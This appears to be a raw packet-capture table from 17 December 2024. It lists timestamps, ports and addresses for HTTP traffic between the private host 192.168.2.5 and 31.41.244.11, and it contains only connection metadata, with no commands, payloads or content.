Dec 17, 2024 08:03:11.788317919 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.788376093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.927504063 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.927526951 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.927598953 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.927758932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.927860022 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.927915096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.928339005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.928394079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.928612947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.929636955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.929653883 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.929696083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.929728031 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.930377960 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.930393934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.930444956 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.931427002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.931519985 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.931574106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.932396889 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.932451963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.932504892 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.933474064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.933490992 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.933531046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.933566093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.934427023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.934493065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.934570074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.934631109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.935507059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.935568094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.935596943 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.935643911 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.936578989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.936595917 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.936641932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.936641932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.937586069 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.937602043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.937634945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.937665939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.938534975 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.938631058 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.938643932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.938759089 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.939569950 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.939634085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.939697027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.939749002 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.940570116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.940632105 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.940684080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.940876961 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.941633940 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.941695929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.941776991 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.942032099 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.942701101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.942718029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.942779064 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.943608046 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.943665028 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.943713903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.944639921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.944696903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.944696903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.945717096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.945769072 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.945785999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.945833921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.946711063 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.946805954 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.946856976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.947732925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.947834015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.947887897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.948730946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.948788881 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.948839903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.949743986 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.949798107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.949881077 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.950833082 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.950849056 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.950889111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.950920105 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.951833010 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.951910973 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.951958895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.952938080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.952955008 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.953002930 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.953965902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.953983068 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.954030037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.954984903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.955002069 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.955058098 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.955058098 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.955893993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.955955029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.956007004 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.956069946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.956938982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.956993103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.957163095 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.957220078 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.957946062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.958029985 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.958110094 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.958242893 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.958930969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.959090948 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.959135056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.959984064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.960149050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.960206032 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.961076021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.961159945 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.961209059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.962173939 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.962189913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.962234974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.962265968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.963059902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.963124990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.963205099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.963260889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.964143991 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.964200974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.964278936 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.964417934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.965154886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.965203047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.965337038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.965390921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.966254950 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.966319084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.966326952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.966373920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.967219114 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.967246056 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.967272043 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.967338085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.968282938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.968308926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.968398094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.969225883 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.969357014 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.969408989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.970221996 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.970278978 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.970377922 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.970484972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.971308947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.971334934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.971366882 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.971398115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.972362995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.972378969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.972420931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.972444057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.973356962 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.973409891 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.973414898 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.973454952 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.974299908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.974359989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.974438906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.974605083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.975397110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.975455999 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.975476027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.975522995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.976510048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.976526022 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.976574898 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.976574898 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.977556944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.977611065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.977619886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.977669954 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.978473902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.978513002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.978562117 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.978562117 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.979419947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.979552984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.979593992 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.979594946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.980348110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.981461048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.118858099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.118915081 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.118974924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.119401932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.119467020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.119520903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.120409012 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.120465040 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.120517969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.121056080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.121501923 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.121566057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.121592045 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.121643066 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.122462988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.122534037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.122620106 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.122670889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.123452902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.123517036 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.123559952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.123610020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.124495983 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.124557972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.124742985 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.124797106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.125659943 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.125716925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.125796080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.125847101 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.126744032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.126801014 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.126996040 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.127051115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.127587080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.127746105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.127815962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.128582954 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.128794909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.128850937 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.129663944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.129718065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.129735947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.130599976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.130608082 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.130664110 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.130712032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.130764008 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.131669044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.131722927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.131819010 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.131874084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.132704020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.132756948 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.132811069 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.132860899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.133697987 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.133747101 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.133826017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.133878946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.134776115 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.134812117 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.134848118 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.134848118 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.135736942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.135868073 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.135921955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.136785030 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.136955023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.137006998 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.137768984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.137825012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.137887955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.138827085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.138880014 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.138926029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.139580965 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.139837980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.139976025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.140028000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.140930891 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.141011000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.141063929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.141890049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.141968966 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.142055035 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.142602921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.142977953 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.143029928 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.143109083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.143157005 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.143920898 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.144053936 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.144110918 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.144932032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.145062923 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.145123959 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.146028996 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.146085024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.146109104 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.146984100 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.147047997 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.147092104 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.147989035 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.148047924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.148127079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.149128914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.149163008 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.149184942 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.149213076 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.150074005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.150157928 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.150216103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.151101112 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.151169062 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.151247978 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.152165890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.152209997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.152225971 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.153129101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.153187037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.153264999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.153316975 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.154202938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.154303074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.154370070 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.155184031 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.155273914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.155343056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.156228065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.156285048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.156306982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.157183886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.157241106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.157324076 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.158258915 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.158320904 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.158399105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.158451080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.159250021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.159384012 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.159440994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.160373926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.160391092 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.160448074 CET	49822	80	192.168.2.5	31.41.244.11
